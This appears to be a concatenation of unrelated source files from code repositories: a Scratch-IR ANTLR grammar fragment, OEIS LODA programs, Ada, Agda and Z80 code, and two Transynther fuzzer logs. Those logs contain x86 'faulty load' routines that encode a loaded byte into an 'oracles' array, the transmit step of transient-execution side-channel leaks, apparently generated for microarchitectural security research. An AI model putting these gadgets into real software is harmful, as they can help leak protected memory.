| 'startup' # StartupEvent
| 'started' 'as' 'clone' # CloneStartEvent
| 'message' stringExpr parameterList messageNamespace # MessageReceivedEvent
| 'condition' boolExpr # ConditionReachedEvent
| 'statement' 'finished' # AfterStatementMonitoringEvent
;
messageNamespace : 'in' String # QualifiedNamespace | #UnqualifiedNamespace ;
// Scratch allows to define procedures, that is,
// reusable code blocks (also known as 'custom blocks').
// A procedure is identified by a name and is parameterized
// to take a number of arguments.
methodDefinitionList : methodDefinition* ;
methodDefinition :
metaAttributeList 'define' methodAttributeList ident parameterList stmtList methodResultDeclaration # FullMethodDefinition
| metaAttributeList 'extern' ident parameterList externMethodResultDeclaration # ExternMethodDefinition
;
methodResultDeclaration :
'returns' ident ':' type # FunctionReturnDefinition
| # VoidReturnDefinition
;
externMethodResultDeclaration :
'returns' type # ExternFunctionReturnDefinition
| # ExternVoidReturnDefinition
;
// Attributes that can be assigned to a method
methodAttributeList : methodAttribute* ;
methodAttribute : 'atomic' # AtomicMethod ;
// A procedure parameter.
parameter : ident ':' type ;
// A list of method parameters in brackets.
parameterList : '(' parameterListPlain ')' ;
// A plain list of method parameters.
// Parameters are separated by comma.
parameterListPlain : parameter (',' parameter)* | ;
// A list of program statements.
// Some statements that terminate the control flow
// are only allowed at the end of the list to
// make their semantics clearer for the programmer.
stmtList : blockMode 'begin' stmtListPlain (terminationStmt)? 'end' ;
blockMode: 'atomic' # AtomicBlock | # NonAtomicBloc ;
// A plain list of program statements.
// Statements are separated by whitespace.
stmtListPlain : stmt* ;
// The control flow of Scratch program is controlled by
// designated control-flow statements.
controlStmt :
ifStmt
| untilStmt
| repeatTimesStmt
| repeatForeverStmt
| callStmt
;
// A conditional statement. Either in the form of an 'if ... then ...'
// or an 'if ... then ... else ...'.
ifStmt : 'if' boolExpr 'then' stmtList elseCase ;
elseCase :
'else' stmtList # PureElse
| 'else' ifStmt # ElseIfCase
| # EmptyElseCase
;
// Scratch uses `until` instead of `while` which is in
// favour of the game-like nature of most programs written in it.
untilStmt : 'until' boolExpr 'repeat' stmtList ;
// Repeat a given list of statements N times.
repeatTimesStmt : 'repeat' numExpr 'times' stmtList ;
// Repeat a given list of statements forever---until the
// program termintates.
repeatForeverStmt : 'repeat' 'forever' stmtList ;
// A statement to call user-defined procedures (custom blocks).
callStmt : ident expressionList ;
// A list of expressions that encapsulates, for example, the arguments
// for procedure calls.
expressionList : '(' expressionListPlain ')' ;
// The expression list without brackets.
// Expressions are separated by comma.
expressionListPlain : expression (',' expression)* | ;
// An expression statement.
// The main aim of having such a statement is to not
// loose information when using Scratch ASTs as
// an transformers representation.
// This statement will get more relevant if functions (custom
// blocks with return values get introduced to Scratch.
expressionStmt : 'evaluate' expression ;
// The list of statements that are available in Scratch.
stmt :
controlStmt # ControlStatement
| nonCtrlStmt # NonControlStatement
| stmtList # StmtListStatement
;
metaAttributeList : metaAttribute* ;
metaAttribute : '@' Identifier expression ;
nonCtrlStmt :
expressionStmt
| commonStmt
| listStmt
| declarationStmt
;
commonStmt :
'wait' numExpr 'seconds' # WaitSecsStatement
| 'wait' 'until' boolExpr # WaitUntilStatement
| 'stop' 'other' 'scripts' 'in' 'actor' # StopOthersInActorStatement
| 'create' 'clone' 'of' stringExpr # CreateCloneOfStatement
| 'broadcast' message # BroadcastMessageStatement
| 'broadcast' message 'and' 'wait' # BroadcastAndWaitStatement
| 'reset' 'timer' # ResetTimerStatement
| 'epsilon' # EpsilonStatement
| 'assume' boolExpr # AssumeStatement
| setStmt # SetStatement
;
listStmt :
'delete' 'all' 'from' variable # DeleteAllFromStatement
| 'delete' numExpr 'of' variable # DeleteIthFromStatement
| 'add' stringExpr 'to' variable # AddElementToStatement
| 'insert' stringExpr 'at' numExpr 'of' variable # InsertAtStatement
| 'replace' 'item' numExpr 'of' variable 'by' stringExpr # ReplaceElementAtStatement
;
setStmt :
'define' variable 'as' expression # StoreEvalResultStatement
| 'define' variable 'as' callStmt # StoreCallResultStatement
;
setStmtList : setStmt* ;
terminationStmt :
'stop' 'all' # StopAll
| 'stop' 'this' 'script' # StopThis
| 'delete' 'this' 'clone' # DeleteThisClone
;
stringExpr :
String # StringLiteralExpression
| variable # StringVariableExpression
| '(' stringExpr ')' # StringParanthExpression
| callStmt # StringCallStatementExpression
| 'cast' numExpr 'to' 'string' # NumAsStringExpression
| 'cast' boolExpr 'to' 'string' # BoolAsStringExpression
| 'attribute' stringExpr 'of' actorExpr # StringAttributeOfExpression // query an attribute value of an actor (sprites, the stage)
| 'join' stringExpr stringExpr # JoinStringsExpression
| 'letter' numExpr 'of' stringExpr # IthLetterOfStringExpression
| 'item' numExpr 'of' variable # IthStringItemOfExpression
| 'default' String 'for' stringExpr # DefaultStringExpression
| '?string' # UnspecifiedStringExpression
;
boolExpr :
Boolean # BoolLiteralExpression
| variable # BoolVariableExpression
| '(' boolExpr ')' # BoolParanthExpression
| callStmt # BoolCallStatementExpression
| 'cast' numExpr 'to' 'boolean' # NumAsBoolExpression
| 'cast' stringExpr 'to' 'boolean' # StringAsBoolExpression
| 'not' boolExpr # NegatedBoolExpression
| boolExpr 'and' boolExpr # BoolAndExpression
| boolExpr 'or' boolExpr # BoolOrExpression
| numOrStringExpr '>=' numOrStringExpr # GreaterEqualExpression
| numOrStringExpr '>' numOrStringExpr # GreaterThanExpression
| numOrStringExpr '<' numOrStringExpr # LessThanExpression
| numOrStringExpr '<=' numOrStringExpr # LessEqualExpression
| numOrStringExpr '=' numOrStringExpr # EqualsExpression
| stringExpr 'contains' stringExpr # StrContainsExpression
| 'default' Boolean 'for' boolExpr # DefaultBoolExpression
| '?bool' # UnspecifiedBoolExpression
;
numOrStringExpr :
numExpr # NumberExpression
| stringExpr # StringExpression
;
numExpr :
number # NumLiteralExpression
| variable # NumVariableExpression
| '(' numExpr ')' # NumBrackets
| callStmt # NumCallStatementExpression
| 'cast' stringExpr 'to' 'float' # StringToFloatExpression
| 'cast' stringExpr 'to' 'int' # StringToIntExpression
| 'cast' boolExpr 'to' 'int' # BoolToIntExpression
| 'cast' numExpr 'to' 'float' # NumToFloatExpression
| 'cast' numExpr 'to' 'int' # NumToIntExpression
| 'timer' # TimerExpression
| 'length' 'of' stringExpr # LengthOfStringExpression
| 'length' 'of' 'list' variable # LengthOfListExpression
| 'index' 'of' expression 'in' variable # IndexOfExpression
| numExpr '*' numExpr # NumMulExpression
| numExpr '/' numExpr # NumDivExpression
| numExpr 'mod' numExpr # NumModExpression
| numExpr '+' numExpr # NumPlusExpression
| numExpr '-' numExpr # NumMinusExpression
| 'default' number 'for' numExpr # DefaultNumExpr
| '?number' # UnspecifiedNumExpr
;
listExpr :
variable # ListVariableExpression
| '[' expressionListPlain ']' # ListWithElementsExpression
;
actorExpr:
variable # ActorVariableExpression
| 'self' # ActorSelfExpression
| 'locate' 'actor' stringExpr # LocateActorExpression
| 'start' 'clone' 'of' actorExpr # StartCloneActorExpression
| 'start' 'actor' stringExpr 'as' ident # UsherActorExpression
;
expression :
stringExpr
| numExpr
| boolExpr
| listExpr
| actorExpr
| unspecifiedExpr
;
// This type of expression is used to allow for representing
// Scratch programs for that not all expressions have been specified
// as an abstract tree.
unspecifiedExpr : '?expr' ;
variable :
ident # FlatVariable
| ident '.' ident # QualifiedVariable
;
ident :
Identifier # IdentExpression
| 'strid' String # StrIdentExpression
;
number :
IntegerLiteral # IntegerLiteralExpression
| DecimalLiteral # DecimalLiteralExpression
;
Boolean : Bool ;
resourceLocator : String ;
message :
stringExpr # UserMessage
| stringExpr expressionList 'to' messageDestination # SystemMessage
;
messageDestination :
String # NamedMessageDestination
| actorExpr # ActorMessageDestination ;
|
programs/oeis/105/A105800.asm | neoneye/loda | 22 | 27285 | <filename>programs/oeis/105/A105800.asm
; A105800: Greatest Fibonacci number that is a proper divisor of the n-th Fibonacci number; a(1) = a(2) = 1.
; 1,1,1,1,1,2,1,3,2,5,1,8,1,13,5,21,1,34,1,55,13,89,1,144,5,233,34,377,1,610,1,987,89,1597,13,2584,1,4181,233,6765,1,10946,1,17711,610,28657,1,46368,13,75025,1597,121393,1,196418,89,317811,4181,514229,1,832040,1,1346269,10946,2178309,233,3524578,1,5702887,28657,9227465,1,14930352,1,24157817,75025,39088169,89,63245986,1,102334155,196418,165580141,1,267914296,1597,433494437,514229,701408733,1,1134903170,233,1836311903,1346269,2971215073,4181,4807526976,1,7778742049,3524578,12586269025
seq $0,32742 ; a(1) = 1; for n > 1, a(n) = largest proper divisor of n.
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
|
reuse/ada/setsdrv.adb | cocolab8/cocktail | 0 | 7326 | <reponame>cocolab8/cocktail
-- $Id: SetsDrv.mi,v 1.5 1992/09/24 13:05:19 grosch rel $
-- $Log: SetsDrv.mi,v $
-- Ich, <NAME>, Informatiker, Sept. 1994
with Sets, Text_Io; use Sets, Text_Io;
procedure SetsDrv is
package Int_Io is new Integer_IO (Integer); use Int_Io;
max : constant Integer := 1000;
s, t, u : tSet;
i, n : Integer;
f : File_Type;
begin
MakeSet (s, max);
MakeSet (t, max);
MakeSet (u, max);
for i in 2 .. max loop
Include (t, i);
end loop;
AssignEmpty (s);
AssignElmt (s, 1);
Assign (u, t);
Union (s, t);
AssignEmpty (t);
i := 0;
while i <= max loop
Include (t, i);
i := i + 2;
end loop;
Difference (s, t);
i := 0;
while i <= max loop
Exclude (s, i);
i := i + 3;
end loop;
i := 0;
while i <= max loop
Exclude (s, i);
i := i + 5;
end loop;
i := 0;
while i <= max loop
Exclude (s, i);
i := i + 7;
end loop;
i := 0;
while i <= max loop
Exclude (s, i);
i := i + 11;
end loop;
i := 0;
while i <= max loop
Exclude (s, i);
i := i + 13;
end loop;
i := 0;
while i <= max loop
Exclude (s, i);
i := i + 17;
end loop;
i := 0;
while i <= max loop
Exclude (s, i);
i := i + 19;
end loop;
i := 0;
while i <= max loop
Exclude (s, i);
i := i + 23;
end loop;
i := 0;
while i <= max loop
Exclude (s, i);
i := i + 29;
end loop;
Create (f, Out_File, "t");
WriteSet (f, s);
New_Line (f);
Close (f);
Open (f, In_File, "t");
ReadSet (f, t);
Close (f);
WriteSet (Standard_Output, t);
New_Line (Standard_Output);
Put (Standard_Output, Size (t), 5);
Card (t, n); Put (Standard_Output, n, 5);
Minimum (t, n); Put (Standard_Output, n, 5);
Maximum (t, n); Put (Standard_Output, n, 5);
New_Line (Standard_Output);
AssignEmpty (u);
i := 7;
while i <= max loop
Include (u, i);
i := i + 10;
end loop;
WriteSet (Standard_Output, u);
New_Line (Standard_Output);
Put (Standard_Output, Size (u), 5);
Card (u, n); Put (Standard_Output, n, 5);
Minimum (u, n); Put (Standard_Output, n, 5);
Maximum (u, n); Put (Standard_Output, n, 5);
New_Line (Standard_Output);
Intersection (u, t);
WriteSet (Standard_Output, u);
New_Line (Standard_Output);
Put (Standard_Output, Size (u), 5);
Card (u, n); Put (Standard_Output, n, 5);
Minimum (u, n); Put (Standard_Output, n, 5);
Maximum (u, n); Put (Standard_Output, n, 5);
New_Line (Standard_Output);
ReleaseSet (s);
ReleaseSet (t);
ReleaseSet (u);
MakeSet (s, 10);
Include (s, 3);
Include (s, 7);
New_Line (Standard_Output);
Put (Standard_Output, "enter Size and Set like below! (Size=0 terminates)");
New_Line (Standard_Output);
Put (Standard_Output, "10 ");
WriteSet (Standard_Output, s);
New_Line (Standard_Output);
ReleaseSet (s);
loop
New_Line (Standard_Output);
Get (Standard_Input, i);
if i = 0 then exit; end if;
MakeSet (s, i);
ReadSet (Standard_Input, s);
WriteSet (Standard_Output, s);
Put (Standard_Output, " Card = "); Card (s, n); Put (Standard_Output, n, 0); New_Line (Standard_Output);
Complement(s);
WriteSet (Standard_Output, s);
Put (Standard_Output, " Card = "); Card (s, n); Put (Standard_Output, n, 0); New_Line (Standard_Output);
ReleaseSet(s);
end loop;
end SetsDrv;
|
Transynther/x86/_processed/US/_ht_zr_un_/i3-7100_9_0x84_notsx.log_79_2037.asm | ljhsiun2/medusa | 9 | 82371 | <filename>Transynther/x86/_processed/US/_ht_zr_un_/i3-7100_9_0x84_notsx.log_79_2037.asm<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1e2b9, %rsi
lea addresses_A_ht+0x16bb9, %rdi
nop
nop
nop
nop
dec %r14
mov $103, %rcx
rep movsq
add %r9, %r9
lea addresses_WT_ht+0x1b279, %r11
nop
nop
nop
nop
nop
and $7808, %rbx
movups (%r11), %xmm4
vpextrq $1, %xmm4, %rsi
nop
sub $37157, %rsi
lea addresses_D_ht+0x2fb9, %rdi
nop
inc %rsi
movw $0x6162, (%rdi)
nop
nop
nop
nop
add %r11, %r11
lea addresses_D_ht+0x191bd, %r14
nop
nop
nop
nop
cmp $21383, %rbx
movb (%r14), %r9b
nop
nop
cmp %r11, %r11
lea addresses_A_ht+0x11969, %rsi
lea addresses_normal_ht+0x6ab9, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add $56114, %r12
mov $99, %rcx
rep movsb
nop
nop
nop
add %rcx, %rcx
lea addresses_D_ht+0xbdb9, %r9
nop
nop
add $31409, %rbx
movw $0x6162, (%r9)
nop
nop
nop
nop
nop
add %r12, %r12
lea addresses_D_ht+0x1e1c6, %rsi
lea addresses_D_ht+0x1d7b9, %rdi
clflush (%rdi)
nop
xor %r9, %r9
mov $41, %rcx
rep movsq
nop
nop
xor %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %rax
push %rdx
push %rsi
// Store
lea addresses_PSE+0x1d079, %rax
nop
nop
nop
inc %rsi
mov $0x5152535455565758, %r10
movq %r10, (%rax)
nop
nop
dec %r15
// Store
lea addresses_UC+0x3341, %r12
nop
nop
xor %r11, %r11
movl $0x51525354, (%r12)
nop
nop
nop
nop
and %r15, %r15
// Faulty Load
lea addresses_US+0xf7b9, %rsi
nop
cmp $52836, %rdx
movups (%rsi), %xmm6
vpextrq $0, %xmm6, %r15
lea oracles, %r12
and $0xff, %r15
shlq $12, %r15
mov (%r12,%r15,1), %r15
pop %rsi
pop %rdx
pop %rax
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_US', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'47': 3, 'b7': 2, '1a': 1, '00': 64, 'd0': 2, 'e0': 7}
e0 e0 00 b7 00 00 00 00 00 00 00 00 00 00 e0 00 47 00 00 00 00 00 00 00 1a 00 e0 e0 00 00 47 00 00 00 00 00 00 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 00 00 b7 00 00 00 00 00 d0 00 00 e0 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 d0
*/
|
libsrc/tiki100/gr_scroll.asm | teknoplop/z88dk | 0 | 12730 | ;
; More TIKI-100 graphics routines
; by <NAME>
;
; void __FASTCALL__ gr_vscroll(int lines)
; void __FASTCALL__ gr_vscroll_abs(int lines)
;
; Scroll display any number of lines, or set it to
; an absolute line number.
;
; Changelog:
;
; v1.0 - FrodeM
; * Added relative and absolute vertical positioning/scroll
;
; $Id: gr_scroll.asm,v 1.1 2015/11/03 20:03:37 stefano Exp $
;
PUBLIC gr_vscroll
PUBLIC gr_vscroll_abs
gr_vscroll:
ld b,a
ld a,$0E
out ($16),a
in a,($17)
sub b
out ($17),a
RET
gr_vscroll_abs:
ld b,a
ld a,$0E
out ($16),a
ld a,b
out ($17),a
RET |
awa/src/awa-modules-beans.adb | fuzzysloth/ada-awa | 81 | 4082 | <gh_stars>10-100
-----------------------------------------------------------------------
-- awa-modules-beans -- Module beans factory
-- Copyright (C) 2009, 2010, 2011 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
package body AWA.Modules.Beans is
-- Register under the given name a function to create the bean instance when
-- it is accessed for a first time. The scope defines the scope of the bean.
-- bean
procedure Register (Plugin : in out Module'Class;
Name : in String;
Handler : in Create_Bean_Access) is
Binding : constant Module_Binding_Access := new Module_Binding;
begin
Binding.Module := Plugin'Unchecked_Access;
Binding.Create := Handler;
Plugin.Register (Name, Binding.all'Access);
end Register;
-- ------------------------------
-- Binding record
-- ------------------------------
--
procedure Create (Factory : in Module_Binding;
Name : in Ada.Strings.Unbounded.Unbounded_String;
Result : out Util.Beans.Basic.Readonly_Bean_Access) is
pragma Unreferenced (Name);
begin
Result := Factory.Create.all (Factory.Module);
end Create;
end AWA.Modules.Beans;
|
programs/oeis/112/A112654.asm | karttu/loda | 1 | 9856 | ; A112654: Numbers k such that k^3 == k (mod 11).
; 0,1,10,11,12,21,22,23,32,33,34,43,44,45,54,55,56,65,66,67,76,77,78,87,88,89,98,99,100,109,110,111,120,121,122,131,132,133,142,143,144,153,154,155,164,165,166,175,176,177,186,187,188,197,198,199,208,209,210,219,220,221,230,231,232,241,242,243,252,253,254,263,264,265,274,275,276,285,286,287,296,297,298,307,308,309,318,319,320,329,330,331,340,341,342,351,352,353,362,363,364,373,374,375,384,385,386,395,396,397,406,407,408,417,418,419,428,429,430,439,440,441,450,451,452,461,462,463,472,473,474,483,484,485,494,495,496,505,506,507,516,517,518,527,528,529,538,539,540,549,550,551,560,561,562,571,572,573,582,583,584,593,594,595,604,605,606,615,616,617,626,627,628,637,638,639,648,649,650,659,660,661,670,671,672,681,682,683,692,693,694,703,704,705,714,715,716,725,726,727,736,737,738,747,748,749,758,759,760,769,770,771,780,781,782,791,792,793,802,803,804,813,814,815,824,825,826,835,836,837,846,847,848,857,858,859,868,869,870,879,880,881,890,891,892,901,902,903,912,913
mov $1,$0
add $1,1
div $1,3
mul $1,8
add $1,$0
|
programs/oeis/076/A076040.asm | neoneye/loda | 22 | 17022 | ; A076040: a(n) = (-1)^n * (3^n - 1)/2.
; 0,-1,4,-13,40,-121,364,-1093,3280,-9841,29524,-88573,265720,-797161,2391484,-7174453,21523360,-64570081,193710244,-581130733,1743392200,-5230176601,15690529804,-47071589413,141214768240,-423644304721,1270932914164
mov $1,-3
pow $1,$0
div $1,2
mov $0,$1
|
UniDB/Morph/Shift.agda | skeuchel/unidb-agda | 0 | 1254 | <reponame>skeuchel/unidb-agda<gh_stars>0
module UniDB.Morph.Shift where
open import UniDB.Spec
open import UniDB.Morph.Depth
open import UniDB.Morph.Weaken
--------------------------------------------------------------------------------
data Shift : MOR where
shift : {γ₁ γ₂ : Dom} (ξ : Depth Weaken γ₁ γ₂) → Shift γ₁ γ₂
instance
iUpShift : Up Shift
_↑₁ {{iUpShift}} (shift ζ) = shift (ζ ↑₁)
_↑_ {{iUpShift}} ξ 0 = ξ
_↑_ {{iUpShift}} ξ (suc δ⁺) = ξ ↑ δ⁺ ↑₁
↑-zero {{iUpShift}} ξ = refl
↑-suc {{iUpShift}} ξ δ⁺ = refl
iWkmShift : Wkm Shift
wkm {{iWkmShift}} δ = shift (depth (weaken δ) 0)
iIdmShift : Idm Shift
idm {{iIdmShift}} _ = wkm {Shift} 0
module _ {T : STX} {{vrT : Vr T}} where
instance
iLkShift : Lk T Shift
lk {{iLkShift}} (shift ζ) i = vr {T} (lk {Ix} {Depth Weaken} ζ i)
iLkUpShift : {{wkT : Wk T}} {{wkVrT : WkVr T}} → LkUp T Shift
lk-↑₁-zero {{iLkUpShift}} (shift ξ) = cong (vr {T}) (lk-↑₁-zero {Ix} {_} ξ )
lk-↑₁-suc {{iLkUpShift}} (shift ξ) i = begin
vr {T} (lk {Ix} (ξ ↑₁) (suc i)) ≡⟨ cong (vr {T}) (lk-↑₁-suc ξ i) ⟩
vr {T} (wk₁ {Ix} (lk {Ix} ξ i)) ≡⟨ sym (wk₁-vr {T} (lk {Ix} ξ i)) ⟩
wk₁ {T} (vr {T} (lk {Ix} ξ i)) ∎
iLkWkmShift : LkWkm T Shift
lk-wkm {{iLkWkmShift}} δ i = refl
iLkIdmShift : LkIdm T Shift
lk-idm {{iLkIdmShift}} i = refl
module _ {T : STX} {{vrT : Vr T}} where
instance
iLkRenShift : LkRen T Shift
lk-ren {{iLkRenShift}} (shift ξ) i = refl
--------------------------------------------------------------------------------
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_1131.asm | ljhsiun2/medusa | 9 | 175556 | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xcb49, %rax
nop
nop
nop
sub %r15, %r15
movw $0x6162, (%rax)
nop
nop
nop
nop
nop
dec %r14
lea addresses_UC_ht+0x1e7bb, %rsi
lea addresses_UC_ht+0x199c9, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
sub %rbx, %rbx
mov $78, %rcx
rep movsl
add $14138, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r9
push %rbx
push %rdx
push %rsi
// Store
lea addresses_UC+0x1c755, %r15
nop
nop
nop
nop
nop
cmp %r9, %r9
mov $0x5152535455565758, %r12
movq %r12, (%r15)
nop
nop
dec %r10
// Load
lea addresses_WT+0x14c9, %rbx
nop
inc %rdx
movb (%rbx), %r10b
nop
nop
add %r12, %r12
// Store
lea addresses_D+0xe373, %rbx
nop
nop
inc %r15
mov $0x5152535455565758, %r10
movq %r10, (%rbx)
inc %r9
// Faulty Load
lea addresses_PSE+0x4ec9, %r15
nop
nop
nop
nop
add $53680, %r10
movb (%r15), %bl
lea oracles, %r15
and $0xff, %rbx
shlq $12, %rbx
mov (%r15,%rbx,1), %rbx
pop %rsi
pop %rdx
pop %rbx
pop %r9
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': True}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
agda/SList/Order/Properties.agda | bgbianchi/sorting | 6 | 8611 | <filename>agda/SList/Order/Properties.agda
{-# OPTIONS --sized-types #-}
module SList.Order.Properties {A : Set}(_≤_ : A → A → Set) where
open import List.Sorted _≤_
open import Size
open import SList
open import SList.Order _≤_
lemma-slist-sorted : {ι : Size}{x : A}{xs : SList A {ι}} → x *≤ xs → Sorted (unsize A xs) → Sorted (unsize A (x ∙ xs))
lemma-slist-sorted {x = x} genx nils = singls x
lemma-slist-sorted (gecx x≤y genx) (singls y) = conss x≤y (singls y)
lemma-slist-sorted (gecx x≤y x*≤zys ) syzys = conss x≤y syzys
